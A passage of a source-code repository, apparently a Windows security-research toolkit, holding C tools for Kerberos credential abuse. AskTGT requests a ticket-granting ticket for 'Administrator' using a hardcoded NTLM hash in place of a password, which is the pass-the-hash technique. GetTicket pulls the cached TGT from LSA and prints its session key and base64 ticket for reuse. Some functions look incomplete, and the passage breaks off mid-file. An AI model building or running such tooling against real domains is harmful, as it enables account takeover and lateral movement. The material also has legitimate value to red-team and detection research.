_In_ ASN_ELEMENT* Pac, _In_ ASN_ELEMENT* Body, _Out_ PBYTE* Data, _Out_ INT32* DataSize ); //-------------------------------------------------------------------------------------------------// // Private functions //-------------------------------------------------------------------------------------------------/ INT32 KerbpGetAsnTagLength( _In_ INT32 Tag ); INT32 KerbpGetAsnLengthLenght( _In_ INT32 Length ); INT32 KerbpAsnGetEffectiveEncodedLength( _In_ ASN_ELEMENT* pElement ); INT32 KerbpAsnGetEffectiveValueLenght( _In_ ASN_ELEMENT* pElement ); NTSTATUS KerbpAsnMakePrimitive( _Inout_ ASN_ELEMENT* pElement, _In_ CONST INT8 TagClass, _In_ CONST INT8 TagValue, _In_ CONST PBYTE pBuffer, _In_ CONST INT32 Offset, _In_ CONST INT32 Length ); NTSTATUS KerbpAsnMakeConstructed( _Inout_ ASN_ELEMENT* pElement, _In_ CONST INT8 TagClass, _In_ CONST INT8 TagValue, _In_ CONST ASN_ELEMENT* pSubElements, _In_ CONST DWORD NumberOfSubElements ); NTSTATUS KerbpAsnMakeImplicit( _In_ ASN_ELEMENT* pElementIn, _In_ CONST INT8 TagClass, _In_ CONST INT8 TagValue, _Out_ ASN_ELEMENT* pElementOut ); NTSTATUS KerbpAsnMakeInteger( _Inout_ ASN_ELEMENT* pElement, _In_ LONG Value ); INT32 KerbpAnsEncodeValue( _In_ ASN_ELEMENT* pElement, _In_ INT32 Start, _In_ INT32 End, _In_ INT32 RawElementOffset, _Out_ PBYTE pRawElement ); INT32 KerbpAsnEncode( _In_ ASN_ELEMENT* pElement, _In_ INT32 Start, _In_ INT32 End, _In_ DWORD RawElementOffset, _Out_ PBYTE pRawElement ); NTSTATUS KerbpEncryptInternal( _In_ INT32 EType, _Out_ KERBEROS_ECRYPT* pECrypt ); NTSTATUS KerbpEncrypt( _In_ INT32 EType, _In_ INT32 EncReason, _In_ PBYTE Key, _In_ DWORD KeyLength, _In_ PBYTE BufferIn, _In_ DWORD BufferInSize, _Out_ PBYTE* BufferOut, _Out_ DWORD* BufferOutSize ); NTSTATUS KerbpGenerateTimestamp( _In_ INT32 TagClassValue, _Out_ ASN_ELEMENT* Timestamp ); NTSTATUS KerbpEncryptTimestamp( _In_ LPBYTE Key, _In_ DWORD KeySize, _In_ ASN_ELEMENT* Timestamp, _Out_ ENCRYPTED_DATA* EncryptedData, _Out_ DWORD* EncryptedDataSize ); NTSTATUS KerbpEncodeEncryptedData( _In_ ENCRYPTED_DATA* EncryptedData, _In_ DWORD EncryptedDataSize, _Out_ PBYTE* RawData, _Out_ DWORD* RawDataSize ); NTSTATUS KerbpFormatTimestamp( _Out_ CHAR** pszBuffer, _In_ CONST DWORD dwBufferSize, _In_ CONST CHAR* Format, _In_ ... ); #endif// !__TGT_H_GUARD__ ================================================ FILE: Kerberos/AskTGT/main.c ================================================ #include "socket.h" //#include #include #include #include #include #include #include "kerberos.h" #pragma comment(lib, "NetApi32.lib") #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "netapi32.lib") /// /// Get the information related to the primary domain controller. /// /// Server to query /// Domain to query /// Pointer to the PDOMAIN_CONTROLLER_INFOW pointer of structure /// Whether the function executed successfully NTSTATUS GetDomainControllerInformation( _In_opt_ LPCSTR ServerName, _In_opt_ LPCSTR DomainName, _Inout_ PDOMAIN_CONTROLLER_INFOA* DCInformation ) { // Get the informations DWORD Status = DsGetDcNameA( ServerName, DomainName, NULL, NULL, (DS_FORCE_REDISCOVERY | DS_IS_DNS_NAME | DS_RETURN_DNS_NAME | DS_KDC_REQUIRED), DCInformation ); if (Status != ERROR_SUCCESS) return STATUS_UNSUCCESSFUL; // Fix the domain name and ip address to remove the "\\" SIZE_T Size1 = strlen((*DCInformation)->DomainControllerName); SIZE_T Size2 = strlen((*DCInformation)->DomainControllerAddress); RtlCopyMemory((*DCInformation)->DomainControllerName, (*DCInformation)->DomainControllerName + 2, Size1 - 2); RtlCopyMemory((*DCInformation)->DomainControllerAddress, (*DCInformation)->DomainControllerAddress + 2, Size2 - 2); (*DCInformation)->DomainControllerName[Size1 - 2] = 0x00; (*DCInformation)->DomainControllerAddress[Size2 - 2] = 0x00; return STATUS_SUCCESS; } NTSTATUS HexStringToHex( _In_ PCSTR BufferIn, _Out_ PBYTE* BufferOut, _Out_ INT32* BufferOutSize ) { *BufferOutSize = 0x10; *BufferOut = calloc(0x01, 0x11); UINT32 b = 0x00; for (INT32 cx = 0x00; cx < 0x10; cx++) { sscanf(BufferIn + (2 * cx), "%02X", &b); (*BufferOut)[cx] = (UCHAR)b; } (*BufferOut)[0x10] = 0x00; } /// /// Generate the final AS-REQ /// NTSTATUS GenerateASRequest( _In_ PCSTR Key, _In_ PCSTR DomainName, _In_ PCSTR SecurityPrincipal, _Out_ PBYTE* Request, _Out_ INT32* RequestSize ) { // 1. PVNOP and MSG-TYPE ASN_ELEMENT Pvno = { 0x00 }; ASN_ELEMENT MessageType = { 0x00 }; KerbGeneratePvnoAndType(&Pvno, &MessageType); // 2 Generate and encrypt the timestamp ASN_ELEMENT EncryptedData = { 0x00 }; KerbGenerateEncryptedData(Key, strlen(Key), &EncryptedData); // 3 Generate the PAC element ASN_ELEMENT Pac = { 0x00 }; KerbGeneratePac(&Pac); // 4 Generate REQ-BODY ASN_ELEMENT ReqBody = { 0x00 }; KerbGenerateKDCReqBody( DomainName, SecurityPrincipal, &ReqBody ); // Encode everything PBYTE Data = NULL; INT32 DataSize = 0x00; KerbGenerateFinalRequest( &Pvno, &MessageType, &EncryptedData, &Pac, &ReqBody, Request, RequestSize ); // Exit return STATUS_SUCCESS; } /// /// Entry point. /// /// Application status code INT main() { LPCSTR ServerName = NULL; LPCSTR DomainName = NULL; // 1. Get domain controller information NTSTATUS Status = STATUS_SUCCESS; PDOMAIN_CONTROLLER_INFOA DCInformation = NULL; Status = GetDomainControllerInformation( NULL, DomainName, &DCInformation ); if (!NT_SUCCESS(Status)) return EXIT_FAILURE; printf("[>] Domain name : %s\r\n", DCInformation->DomainName); printf("[>] Domain controller: %s (%s)\r\n", DCInformation->DomainControllerName, DCInformation->DomainControllerAddress ); // Convert the NTLM to byte array LPSTR NtlmHash = "7FACDC498ED1680C4FD1448319A8C04F"; PBYTE NtlmHashArray = NULL; INT32 NtlmHashArraySize = NULL; HexStringToHex(NtlmHash, &NtlmHashArray, &NtlmHashArraySize); // 2. Build AS-REQ with pre-auth LPSTR SecurityPrincipal = "Administrator"; PBYTE Request = NULL; INT32 RequestSize = 0x00; GenerateASRequest( NtlmHashArray, DCInformation->DomainName, SecurityPrincipal, &Request, &RequestSize ); // 3. Send the data PBYTE Response = NULL; INT32 ResponseSize = 0x00; SockSendKerberosASRequest( DCInformation->DomainControllerAddress, Request, RequestSize, &Response, &ResponseSize ); // x. Cleanup and exit exit: if (DCInformation != NULL) NetApiBufferFree(DCInformation); return EXIT_SUCCESS; } ================================================ FILE: Kerberos/AskTGT/socket.c ================================================ #include "socket.h" /// /// Initialise WinSOCK 2 /// NTSTATUS SockpInitialise() { WSADATA WSAData = { 0x00 }; INT Result = WSAStartup(MAKEWORD(2, 2), &WSAData); return (Result != 0x00) ? STATUS_UNSUCCESSFUL : STATUS_SUCCESS; } /// /// Uninitialise WinSOCK 2 /// NTSTATUS SockpUninitialise() { INT Result = WSACleanup(); return (Result != 0x00) ? STATUS_UNSUCCESSFUL : STATUS_SUCCESS; } /// /// Send kerberos AS-REQ to domain controller. /// NTSTATUS SockSendKerberosASRequest( _In_ LPSTR Address, _In_ PBYTE Request, _In_ INT32 RequestSize, _Out_ PBYTE* Response, _Out_ INT32* ResponseSize ) { // Initialise WinSOCK 2 SockpInitialise(); // Forge the required structures PADDRINFOA AddressInfo = NULL; INT Result = getaddrinfo( Address, "88", NULL, &AddressInfo ); if (Result != 0x00 || AddressInfo == NULL) { SockpUninitialise(); return STATUS_UNSUCCESSFUL; } // Create socket SOCKET Socket = INVALID_SOCKET; Socket = socket(AddressInfo->ai_family, AddressInfo->ai_socktype, AddressInfo->ai_protocol); if (Socket == INVALID_SOCKET) { SockpUninitialise(); return STATUS_UNSUCCESSFUL; } // Connect to remote system Result = connect(Socket, AddressInfo->ai_addr, AddressInfo->ai_addrlen); if (Result == SOCKET_ERROR) { closesocket(Socket); SockpUninitialise(); return STATUS_UNSUCCESSFUL; } // Send the size of the request first UCHAR Packet[0x04] = { 0x00 }; Packet[0x00] = XLATE_UINT32(RequestSize, 0x00); Packet[0x01] = XLATE_UINT32(RequestSize, 0x01); Packet[0x02] = XLATE_UINT32(RequestSize, 0x02); Packet[0x03] = XLATE_UINT32(RequestSize, 0x03); Result = send(Socket, Packet, 0x04, 0x00); // Send the data now Result = send(Socket, Request, RequestSize, 0x00); if (Result == SOCKET_ERROR) { closesocket(Socket); SockpUninitialise(); return STATUS_UNSUCCESSFUL; } // Cleanup and exit closesocket(Socket); return SockpUninitialise(); } ================================================ FILE: Kerberos/AskTGT/socket.h ================================================ #ifndef __SOCKET_H_GUARD__ #define __SOCKET_H_GUARD__ #define _WINSOCK_DEPRECATED_NO_WARNINGS #include #include #pragma comment(lib, "WS2_32.lib") #define STATUS_SUCCESS 0x00000000 #define STATUS_UNSUCCESSFUL 0xC0000001 #define STATUS_PRIVILEGE_NOT_HELD 0xC0000061 #define STATUS_NOT_SUPPORTED 0xC00000BB #define STATUS_NO_TOKEN 0xC000007C #ifndef NT_ERROR #define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) #endif #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif #define XLATE_UINT32(disp, x) (((ULONG32)disp & ((ULONG32)0xFF << (8 *(3 - x)))) >> (8 * (3 - x))) NTSTATUS SockSendKerberosASRequest( _In_ LPSTR Address, _In_ PBYTE Request, _In_ INT32 RequestSize, _Out_ PBYTE* Response, _Out_ INT32* ResponseSize ); #endif // !__SOCKET_H_GUARD__ ================================================ FILE: Kerberos/GetTicket/CMakeLists.txt ================================================ # @file CMakeLists.txt # @author Paul L. (@am0nsec) # @version 1.0 # @brief Kerberos get user TGT. # @details # @link https://github.com/am0nsec/wspe # @copyright This project has been released under the GNU Public License v3 license. add_executable(pktgt "src/main.c" ) set_property(TARGET pktgt PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Rlease>" ) ================================================ FILE: Kerberos/GetTicket/src/main.c ================================================ #include #include #include #include #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "Secur32.lib") #pragma comment(lib, "Crypt32.lib") #define STATUS_SUCCESS 0x00000000 #define STATUS_PRIVILEGE_NOT_HELD 0xC0000061 #define STATUS_NOT_SUPPORTED 0xC00000BB #define STATUS_NO_TOKEN 0xC000007C #ifndef NT_ERROR #define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) #endif #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif // Kerberos ticket encryption type #define KERBEROS_ETYPE_NULL_CS 0 #define KERBEROS_ETYPE_RSADSI_RC4_EXPORT -141 #define KERBEROS_ETYPE_RSADSI_RC4 -140 #define KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD -133 #define KERBEROS_ETYPE_DES_PLAIN -132 #define KERBEROS_ETYPE_RSADSI_RC4_LM -130 #define KERBEROS_ETYPE_RSADSI_RC4_PLAIN -129 #define KERBEROS_ETYPE_DES_CBC_CRC 1 #define KERBEROS_ETYPE_DES_CBC_MD5 3 #define KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96 17 #define KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96 18 #define KERBEROS_ETYPE_SADSI_RC4_HMAC_NT 22 #define KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export 23 // Kerberos ticket flags #define KERBEROS_TICKET_FLAGS_RESERVED 0x80000000 #define KERBEROS_TICKET_FLAGS_FORWARDABLE 0x40000000 #define KERBEROS_TICKET_FLAGS_FORWARDED 0x20000000 #define KERBEROS_TICKET_FLAGS_PROXIABLE 0x10000000 #define KERBEROS_TICKET_FLAGS_PROXY 0x08000000 #define KERBEROS_TICKET_FLAGS_MAY_POSTDATE 0x04000000 #define KERBEROS_TICKET_FLAGS_POSTDATED 0x02000000 #define KERBEROS_TICKET_FLAGS_INVALID 0x01000000 #define KERBEROS_TICKET_FLAGS_RENEWABLE 0x00800000 #define KERBEROS_TICKET_FLAGS_INITIAL 0x00400000 #define KERBEROS_TICKET_FLAGS_PRE_AUTHENT 0x00200000 #define KERBEROS_TICKET_FLAGS_HW_AUTHENT 0x00100000 #define KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE 0x00040000 #define KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE 0x00010000 #define KERBEROS_TICKET_FLAGS_NAME_RESERVED1 0x00000001 #define _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(var, flag, str) \ if((var & flag) != 0x00) { wprintf(L"%s", str); var = var & ~flag; } /// /// Get an handle to the LSA process via untrusted connection and retrive the "Kerberos" authentication package ID. /// /// Pointer to the LSA handle /// Pointer to the authentication package ID. /// Whether the function was successful NTSTATUS GetLsaHandleAndPackageId( _Out_ PHANDLE phLsaHandle, _Out_ PULONG pAuthenticationPackage ) { NTSTATUS Status = STATUS_SUCCESS; Status = LsaConnectUntrusted(phLsaHandle); if (NT_ERROR(Status)) return Status; LSA_STRING PackageName = { 0x00 }; RtlInitString(&PackageName, "Kerberos"); return LsaLookupAuthenticationPackage(*phLsaHandle, (PLSA_STRING)&PackageName, pAuthenticationPackage); } /// /// Print unicode string /// /// The unicode string /// Handle to the process heap VOID PrintUnicodeString( _In_ CONST UNICODE_STRING String, _In_ CONST HANDLE hProcessHeap ) { WCHAR* lpBuffer = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, String.MaximumLength + 2); if (lpBuffer == NULL) return; // Copy and print the buffer RtlCopyMemory(lpBuffer, String.Buffer, String.MaximumLength); wprintf(L"%ws\r\n", lpBuffer); // Cleanup HeapFree(hProcessHeap, 0x00, lpBuffer); } /// /// Print Kerberos encryption type. /// /// VOID PrintEType( _In_ CONST LONG EncryptionType ) { WCHAR* Buffer = NULL; switch (EncryptionType) { case KERBEROS_ETYPE_NULL_CS: Buffer = L"NULL CS\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_EXPORT: Buffer = L"RSADSI RC4(Export)\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4: Buffer = L"RSADSI RC4\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD: Buffer = L"RSADSI RC4-HMAC(Old)\r\n"; break; case KERBEROS_ETYPE_DES_PLAIN: Buffer = L"Kerberos DES-Plain\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_LM: Buffer = L"RSADSI RC4-LM\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_PLAIN: Buffer = L"RSADSI RC4-PLAIN\r\n"; break; case KERBEROS_ETYPE_DES_CBC_CRC: Buffer = L"Kerberos DES-CBC-CRC\r\n"; break; case KERBEROS_ETYPE_DES_CBC_MD5: Buffer = L"Kerberos DES-CBC-MD5\r\n"; break; case KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96: Buffer = L"AES-128-CTS-HMAC-SHA1-96\r\n"; break; case KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96: Buffer = L"AES-256-CTS-HMAC-SHA1-96\r\n"; break; case KERBEROS_ETYPE_SADSI_RC4_HMAC_NT: Buffer = L"RSADSI RC4-HMAC(NT)\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export: Buffer = L"RSADSI RC4-HMAC(NT)(Export)\r\n"; break; default: break; } wprintf(L"%ws", Buffer); } /// /// Display Kerberos ticket information. /// /// Ticket flags VOID PrintTicketFlags( _In_ CONST LONG TicketFlags ) { LONG Flags = TicketFlags; _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RESERVED, L"reserved "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDABLE, L"fowardable "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDED, L"forwarded "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXIABLE, L"proxiable "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXY, L"proxy "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_MAY_POSTDATE, L"may_postdated "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_POSTDATED, L"postdated "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INVALID, L"invalid "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RENEWABLE, L"renewable "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INITIAL, L"initial "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PRE_AUTHENT, L"pre_authent "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_HW_AUTHENT, L"hw_authent "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE, L"ok_has_delegate "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE, L"name_canonicalize "); _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_RESERVED1, L"reserved1 "); wprintf(L"\r\n"); } /// /// Display kerberos ticket time. /// /// Output prefix /// Time VOID PrintTime( _In_ CONST WCHAR* Prefix, _In_ CONST LARGE_INTEGER Time ) { FILETIME LocalFileTime = { 0x00 }; FileTimeToLocalFileTime(&Time.QuadPart, &LocalFileTime); SYSTEMTIME SystemTime = { 0x00 }; FileTimeToSystemTime(&LocalFileTime, &SystemTime); wprintf(L"%s", Prefix); wprintf(L"%ld/%ld/%ld %ld:%2.2ld:%2.2ld (local)\r\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond ); } /// /// Base64 encode and print the encoded ticket. /// /// The raw data of the ticket. /// The size of the raw ticket. /// Handle to the process heap VOID PrintEncodedTicket( _In_ CONST PUCHAR EncodedTicket, _In_ CONST DWORD EncodedTicketSize, _In_ CONST HANDLE hProcessHeap ) { // Get the size to allocate DWORD dwBase64Size = 0x00; BOOL Success = CryptBinaryToStringW( EncodedTicket, EncodedTicketSize, CRYPT_STRING_BASE64, NULL, &dwBase64Size ); if (!Success || dwBase64Size == 0x00) return; // Allocate size LPWSTR lpBase64 = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwBase64Size * sizeof(WCHAR)); if (lpBase64 == NULL) return; // Convert to base64 the data Success = CryptBinaryToStringW( EncodedTicket, EncodedTicketSize, CRYPT_STRING_BASE64, lpBase64, &dwBase64Size ); if (Success) wprintf(L"%ws\r\n", lpBase64); // Cleanup HeapFree(hProcessHeap, 0x00, lpBase64); } /// /// Entry point. /// /// Application status code INT main() { // 1. Get LUID informaiton HANDLE hProcessHandle = GetCurrentProcess(); HANDLE hTokenHandle = INVALID_HANDLE_VALUE; BOOL Result = OpenProcessToken(hProcessHandle, 0x2000000u, &hTokenHandle); TOKEN_STATISTICS Statistics = { 0x00 }; DWORD dwReturnedLength = 0x00; Result = GetTokenInformation(hTokenHandle, TokenStatistics, &Statistics, sizeof(TOKEN_STATISTICS), &dwReturnedLength); if (!Result) { CloseHandle(hTokenHandle); return EXIT_FAILURE; } wprintf(L"Current LogonId is %d:0x%08x\r\n\r\n", Statistics.ModifiedId.HighPart, Statistics.ModifiedId.LowPart ); CloseHandle(hTokenHandle); // 2. Connect to LSA and get the package ID NTSTATUS Status = STATUS_SUCCESS; HANDLE hLsaHandle = INVALID_HANDLE_VALUE; ULONG AuthPackageKerberos = 0x00; Status = GetLsaHandleAndPackageId(&hLsaHandle, &AuthPackageKerberos); if (NT_ERROR(Status)) return EXIT_FAILURE; // 3. Get Kerberos TGT NTSTATUS PackageStatus = STATUS_SUCCESS; KERB_RETRIEVE_TKT_REQUEST TicketRequest = { 0x00 }; TicketRequest.MessageType = KerbRetrieveTicketMessage; TicketRequest.LogonId.LowPart = 0x00; TicketRequest.LogonId.HighPart = 0x00; PKERB_RETRIEVE_TKT_RESPONSE TicketResponse = NULL; ULONG ulBufferSize = 0x00; Status = LsaCallAuthenticationPackage( hLsaHandle, AuthPackageKerberos, &TicketRequest, sizeof(KERB_RETRIEVE_TKT_REQUEST), &TicketResponse, &ulBufferSize, &PackageStatus ); if (!NT_SUCCESS(Status)) { LsaDeregisterLogonProcess(hLsaHandle); return EXIT_FAILURE; } // 4. Print ticket infomration wprintf(L"Cached TGT: \r\n\r\n"); HANDLE hProcessHeap = GetProcessHeap(); // Service Name wprintf(L"ServiceName : "); PrintUnicodeString(TicketResponse->Ticket.ServiceName->Names[0x00], hProcessHeap); // Target name wprintf(L"TargetName (SPN) : "); PrintUnicodeString(TicketResponse->Ticket.TargetName->Names[0x00], hProcessHeap); // Client name wprintf(L"ClientName : "); PrintUnicodeString(TicketResponse->Ticket.ClientName->Names[0x00], hProcessHeap); // Domain name wprintf(L"DomainName : "); PrintUnicodeString(TicketResponse->Ticket.DomainName, hProcessHeap); // Target domain name wprintf(L"TargetDomainName : "); PrintUnicodeString(TicketResponse->Ticket.TargetDomainName, hProcessHeap); // AltTargetDomainName wprintf(L"AltTargetDomainName: "); PrintUnicodeString(TicketResponse->Ticket.AltTargetDomainName, hProcessHeap); // Ticket Flags wprintf(L"Ticket Flags :"); wprintf(L" 0x%08x ->", TicketResponse->Ticket.TicketFlags); PrintTicketFlags(TicketResponse->Ticket.TicketFlags); // Session Key wprintf(L"Session Key :"); wprintf(L" KeyType 0x%x - ", TicketResponse->Ticket.SessionKey.KeyType); PrintEType(TicketResponse->Ticket.SessionKey.KeyType); wprintf(L" :"); wprintf(L" KeyLength %d - ", TicketResponse->Ticket.SessionKey.Length); for (DWORD cx = 0x00; cx < TicketResponse->Ticket.SessionKey.Length; cx++) { printf("%02x ", (UCHAR)TicketResponse->Ticket.SessionKey.Value[cx]); } wprintf(L"\r\n"); // StartTime PrintTime(L"StartTime : ", TicketResponse->Ticket.StartTime); // EndTime PrintTime(L"EndTime : ", TicketResponse->Ticket.EndTime); // RenewUntil PrintTime(L"RenewUntil : ", TicketResponse->Ticket.RenewUntil); // EncodedTicket size wprintf(L"EncodedTicket : (size: %d)\r\n", TicketResponse->Ticket.EncodedTicketSize); // EncodedTicket PrintEncodedTicket( TicketResponse->Ticket.EncodedTicket, TicketResponse->Ticket.EncodedTicketSize, hProcessHeap ); // x. Cleanup and exit exit: LsaDeregisterLogonProcess(hLsaHandle); return EXIT_SUCCESS; } ================================================ FILE: Kerberos/List/CMakeLists.txt ================================================ # @file CMakeLists.txt # @author Paul L. (@am0nsec) # @version 1.0 # @brief Kerberos list tickets. # @details # @link https://github.com/am0nsec/wspe # @copyright This project has been released under the GNU Public License v3 license. add_executable(pklist "src/main.c" ) set_property(TARGET pklist PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Rlease>" ) ================================================ FILE: Kerberos/List/src/main.c ================================================ #include #include #include #pragma comment(lib, "ntdll.lib") #pragma comment(lib, "Secur32.lib") #define SeTcbPrivilege 7 #define SeDebugPrivilege 20 #define STATUS_SUCCESS 0x00000000 #define STATUS_PRIVILEGE_NOT_HELD 0xC0000061 #define STATUS_NOT_SUPPORTED 0xC00000BB #define STATUS_NO_TOKEN 0xC000007C #ifndef NT_ERROR #define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) #endif #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif // Kerberos ticket encryption type #define KERBEROS_ETYPE_NULL_CS 0 #define KERBEROS_ETYPE_RSADSI_RC4_EXPORT -141 #define KERBEROS_ETYPE_RSADSI_RC4 -140 #define KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD -133 #define KERBEROS_ETYPE_DES_PLAIN -132 #define KERBEROS_ETYPE_RSADSI_RC4_LM -130 #define KERBEROS_ETYPE_RSADSI_RC4_PLAIN -129 #define KERBEROS_ETYPE_DES_CBC_CRC 1 #define KERBEROS_ETYPE_DES_CBC_MD5 3 #define KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96 17 #define KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96 18 #define KERBEROS_ETYPE_SADSI_RC4_HMAC_NT 22 #define KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export 23 // Kerberos ticket flags #define KERBEROS_TICKET_FLAGS_RESERVED 0x80000000 #define KERBEROS_TICKET_FLAGS_FORWARDABLE 0x40000000 #define KERBEROS_TICKET_FLAGS_FORWARDED 0x20000000 #define KERBEROS_TICKET_FLAGS_PROXIABLE 0x10000000 #define KERBEROS_TICKET_FLAGS_PROXY 0x08000000 #define KERBEROS_TICKET_FLAGS_MAY_POSTDATE 0x04000000 #define KERBEROS_TICKET_FLAGS_POSTDATED 0x02000000 #define KERBEROS_TICKET_FLAGS_INVALID 0x01000000 #define KERBEROS_TICKET_FLAGS_RENEWABLE 0x00800000 #define KERBEROS_TICKET_FLAGS_INITIAL 0x00400000 #define KERBEROS_TICKET_FLAGS_PRE_AUTHENT 0x00200000 #define KERBEROS_TICKET_FLAGS_HW_AUTHENT 0x00100000 #define KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE 0x00040000 #define KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE 0x00010000 #define KERBEROS_TICKET_FLAGS_NAME_RESERVED1 0x00000001 // Kerberos ticket cache flags #define KERBEROS_TICKET_CACHE_FLAGS_PRIMARY 0x00000001 #define KERBEROS_TICKET_CACHE_FLAGS_DELEGATION 0x00000002 #define KERBEROS_TICKET_CACHE_FLAGS_S4U 0x00000004 #define KERBEROS_TICKET_CACHE_FLAGS_ASC 0x00000008 #define KERBEROS_TICKET_CACHE_FLAGS_ENC_IN_SKEY 0x00000010 #define KERBEROS_TICKET_CACHE_FLAGS_X509 0x00000020 #define KERBEROS_TICKET_CACHE_FLAGS_FAST 0x00000040 #define KERBEROS_TICKET_CACHE_FLAGS_COMPOUND 0x00000080 #define KERBEROS_TICKET_CACHE_FLAGS_HUB_PRIMARY 0x00000100 #define KERBEROS_TICKET_CACHE_FLAGS_DISABLE_TGT_DELEGATION 0x00000200 #define _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(var, flag, str) \ if((var & flag) != 0x00) { wprintf(L"%s", str); var = var & ~flag; } extern NTSTATUS RtlAdjustPrivilege( _In_ ULONG Privilege, _In_ BOOLEAN Enable, _In_ BOOLEAN CurrentThread, _Out_ PBOOLEAN Enabled ); extern NTSTATUS RtlInitString( _Inout_ LSA_STRING* Destination, _In_ LPCSTR Source ); /// /// Get an handle to the LSA process via untrusted connection and retrive the "Kerberos" authentication package ID. /// /// Pointer to the LSA handle /// Pointer to the authentication package ID. /// Whether the function was successful NTSTATUS GetLsaHandleAndPackageId( _Out_ PHANDLE phLsaHandle, _Out_ PULONG pAuthenticationPackage ) { NTSTATUS Status = STATUS_SUCCESS; Status = LsaConnectUntrusted(phLsaHandle); if (NT_ERROR(Status)) return Status; LSA_STRING PackageName = { 0x00 }; RtlInitString(&PackageName, "Kerberos"); return LsaLookupAuthenticationPackage(*phLsaHandle, (PLSA_STRING)&PackageName, pAuthenticationPackage); } /// /// Print Kerberos encryption type. /// /// VOID PrintEType( _In_ CONST LONG EncryptionType ) { WCHAR* Buffer = NULL; switch (EncryptionType) { case KERBEROS_ETYPE_NULL_CS: Buffer = L"NULL CS\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_EXPORT: Buffer = L"RSADSI RC4(Export)\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4: Buffer = L"RSADSI RC4\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD: Buffer = L"RSADSI RC4-HMAC(Old)\r\n"; break; case KERBEROS_ETYPE_DES_PLAIN: Buffer = L"Kerberos DES-Plain\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_LM: Buffer = L"RSADSI RC4-LM\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_PLAIN: Buffer = L"RSADSI RC4-PLAIN\r\n"; break; case KERBEROS_ETYPE_DES_CBC_CRC: Buffer = L"Kerberos DES-CBC-CRC\r\n"; break; case KERBEROS_ETYPE_DES_CBC_MD5: Buffer = L"Kerberos DES-CBC-MD5\r\n"; break; case KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96: Buffer = L"AES-128-CTS-HMAC-SHA1-96\r\n"; break; case KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96: Buffer = L"AES-256-CTS-HMAC-SHA1-96\r\n"; break; case KERBEROS_ETYPE_SADSI_RC4_HMAC_NT: Buffer = L"RSADSI RC4-HMAC(NT)\r\n"; break; case KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export: Buffer = L"RSADSI RC4-HMAC(NT)(Export)\r\n"; break; default: break; } wprintf(L"%s", Buffer); } /// /// Display Kerberos ticket information. /// /// Ticket flags VOID PrintTicketFlags( _In_ CONST LONG 